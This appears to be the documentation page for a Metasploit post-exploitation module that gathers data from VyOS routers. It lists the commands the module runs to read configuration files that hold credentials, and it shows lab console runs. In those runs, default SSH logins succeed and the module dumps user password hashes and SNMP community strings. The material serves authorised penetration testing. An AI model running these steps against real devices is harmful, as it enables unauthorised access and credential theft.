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GitHub Repository: rapid7/metasploit-framework
Path: blob/master/documentation/modules/post/networking/gather/enum_vyos.md
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Vulnerable Application

This module has been tested on the following hardware/OS combinations.

  • VyOS 1.1.8

  • VyOS 1.3 (reconfigured to allow ssh password login)

The images are available from VyOS here

This module runs the following commands to gather data:

  • equivalent of show version

  • cat /config/config

  • cat /config/config.boot

This module will look for the follow parameters which contain credentials:

  • snmp community

  • wireless

  • login user

Verification Steps

  1. Start msfconsole

  2. Get a shell

  3. Do: use post/networking/gather/enum_vyos

  4. Do: set session [id]

  5. Do: set verbose true

  6. Do: run

Options

Scenarios

VyOS 1.1.8 admin

resource (vyos.rb)> set username vyos username => vyos resource (vyos.rb)> set password vyos password => vyos resource (vyos.rb)> run [+] 2.2.2.2:22 - Success: 'vyos:vyos' 'uid=1000(vyos) gid=100(users) groups=100(users),4(adm),6(disk),27(sudo),30(dip),102(quaggavty),104(vyattacfg),110(fuse) Linux vyos118 3.13.11-1-amd64-vyos #1 SMP Sat Nov 11 12:10:30 CET 2017 x86_64 GNU/Linux ' [*] Command shell session 1 opened (1.1.1.1:34571 -> 2.2.2.2:22) at 2020-09-20 15:19:08 -0400 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
resource (vyos.rb)> use post/networking/gather/enum_vyos resource (vyos.rb)> set verbose true verbose => true resource (vyos.rb)> set session 1 session => 1 resource (vyos.rb)> run [!] SESSION may not be compatible with this module. [*] Getting version information [+] Version: VyOS 1.1.8 Description: VyOS 1.1.8 (helium) Copyright: 2017 VyOS maintainers and contributors Built by: maintainers@vyos.net Built on: Sat Nov 11 13:44:36 UTC 2017 Build ID: 1711111344-b483efc System type: x86 64-bit Boot via: image Hypervisor: VMware HW model: VMware Virtual Platform HW S/N: VMware-56 4d ef 3f af 45 b5 69-27 43 79 f1 93 f4 45 0a HW UUID: 564DEF3F-AF45-B569-2743-79F193F4450A Uptime: 19:09:24 up 4:47, 1 user, load average: 0.01, 0.04, 0.05 [+] Version information stored in to loot /home/h00die/.msf4/loot/20200920151918_default_2.2.2.2_vyos.version_808443.txt [*] Gathering info from cat /config/config [*] Gathering info from cat /config/config.boot [+] 2.2.2.2:22 Username 'jsmith' with level 'operator' with hash $6$b/9HkzK14DtQm3W$UL5z9yGDoX8j13meRLFEGYkn8popOtCa91wwg8qxOFIfQcWBuXQDDiy8NhdPhpnYieBykj1ddytJAwU6C4mrH1 [+] 2.2.2.2:22 Username 'vyos' with level 'admin' with hash $1$hTBP1zOx$M0WnYPshI2piRc7.XnwBU0 [+] 2.2.2.2:22 SNMP Community 'ro' with ro access [+] 2.2.2.2:22 SNMP Community 'write' with rw access [+] 2.2.2.2:22 Hostname: vyos118 [+] 2.2.2.2:22 OS Version: VyOS 1.1.8 [+] 2.2.2.2:22 Interface eth1 (00:0c:29:f4:45:14) - 2.2.2.2 [*] Post module execution completed

VyOS 1.1.8 operator (user)

resource (vyos.rb)> use auxiliary/scanner/ssh/ssh_login resource (vyos.rb)> set rhosts 2.2.2.2 rhosts => 2.2.2.2 resource (vyos.rb)> set username jsmith username => jsmith resource (vyos.rb)> set password jsmith password => jsmith resource (vyos.rb)> run [+] 2.2.2.2:22 - Success: 'jsmith:jsmith' 'Remote command execution is not allowed for operator level users Remote command execution is not allowed for operator level users ' [*] Command shell session 2 opened (1.1.1.1:46409 -> 2.2.2.2:22) at 2020-09-20 15:19:29 -0400 [-] 2.2.2.2:22 - While a session may have opened, it may be bugged. If you experience issues with it, re-run this module with 'set gatherproof false'. Also consider submitting an issue at github.com/rapid7/metasploit-framework with device details so it can be handled in the future. [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed resource (vyos.rb)> use post/networking/gather/enum_vyos resource (vyos.rb)> set session 2 session => 2 resource (vyos.rb)> run [!] SESSION may not be compatible with this module. [*] Getting version information [+] Version: VyOS 1.1.8 Description: VyOS 1.1.8 (helium) Copyright: 2017 VyOS maintainers and contributors Built by: maintainers@vyos.net Built on: Sat Nov 11 13:44:36 UTC 2017 Build ID: 1711111344-b483efc System type: x86 64-bit Boot via: image Hypervisor: VMware HW model: VMware Virtual Platform HW S/N: VMware-56 4d ef 3f af 45 b5 69-27 43 79 f1 93 f4 45 0a HW UUID: 564DEF3F-AF45-B569-2743-79F193F4450A Uptime: 19:09:44 up 4:47, 1 user, load average: 0.00, 0.03, 0.05 [+] Version information stored in to loot /home/h00die/.msf4/loot/20200920151939_default_2.2.2.2_vyos.version_165334.txt [*] Gathering info from cat /config/config [*] Gathering info from cat /config/config.boot [+] 2.2.2.2:22 Username 'jsmith' with level 'operator' with hash $6$b/9HkzK14DtQm3W$UL5z9yGDoX8j13meRLFEGYkn8popOtCa91wwg8qxOFIfQcWBuXQDDiy8NhdPhpnYieBykj1ddytJAwU6C4mrH1 [+] 2.2.2.2:22 Username 'vyos' with level 'admin' with hash $1$hTBP1zOx$M0WnYPshI2piRc7.XnwBU0 [+] 2.2.2.2:22 SNMP Community 'ro' with ro access [+] 2.2.2.2:22 SNMP Community 'write' with rw access [+] 2.2.2.2:22 Hostname: vyos118 [+] 2.2.2.2:22 OS Version: VyOS 1.1.8 [+] 2.2.2.2:22 Interface eth1 (00:0c:29:f4:45:14) - 2.2.2.2 [*] Post module execution completed

VyOS 1.3 admin

resource (vyos.rb)> use auxiliary/scanner/ssh/ssh_login resource (vyos.rb)> set rhosts 3.3.3.3 rhosts => 3.3.3.3 resource (vyos.rb)> set username vyos username => vyos resource (vyos.rb)> set password vyos password => vyos resource (vyos.rb)> run [+] 3.3.3.3:22 - Success: 'vyos:vyos' 'uid=1003(vyos) gid=100(users) groups=100(users),4(adm),6(disk),27(sudo),30(dip),105(vyattacfg),116(frrvty) Linux vyos13 4.19.142-amd64-vyos #1 SMP Wed Aug 26 18:33:29 UTC 2020 x86_64 GNU/Linux ' [*] Command shell session 1 opened (1.1.1.1:42141 -> 3.3.3.3:22) at 2020-09-20 15:33:20 -0400 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
resource (vyos.rb)> use post/networking/gather/enum_vyos resource (vyos.rb)> set verbose true verbose => true resource (vyos.rb)> set session 1 session => 1 resource (vyos.rb)> run [!] SESSION may not be compatible with this module. [*] Getting version information [+] Version: VyOS 1.3-rolling-202008270118 Release Train: equuleus Built by: autobuild@vyos.net Built on: Thu 27 Aug 2020 01:18 UTC Build UUID: b3cfc450-921a-4454-aa8a-eca18c88517b Build Commit ID: 303a91836dc31c Architecture: x86_64 Boot via: installed image System type: VMware guest Hardware vendor: VMware, Inc. Hardware model: VMware Virtual Platform Hardware S/N: Unknown Hardware UUID: Unknown Copyright: VyOS maintainers and contributors [+] Version information stored in to loot /home/h00die/.msf4/loot/20200920153335_default_3.3.3.3_vyos.version_336120.txt [*] Gathering info from cat /config/config [+] 3.3.3.3:22 SNMP Community 'ro' with ro access [+] 3.3.3.3:22 SNMP Community 'write' with rw access [+] 3.3.3.3:22 Hostname: vyos [+] 3.3.3.3:22 OS Version: 1.3-rolling-202008270118 [+] 3.3.3.3:22 Interface eth0 (00:0c:29:ab:ce:16) - 10.10.10.10 with description: desc two [+] 3.3.3.3:22 Interface eth1 (00:0c:29:ab:ce:20) [*] Gathering info from cat /config/config.boot [+] 3.3.3.3:22 Hostname: vyos13 [+] 3.3.3.3:22 OS Version: 1.3-rolling-202008270118 [+] 3.3.3.3:22 Interface eth1 (00:0c:29:ab:ce:20) - 3.3.3.3 [*] Post module execution completed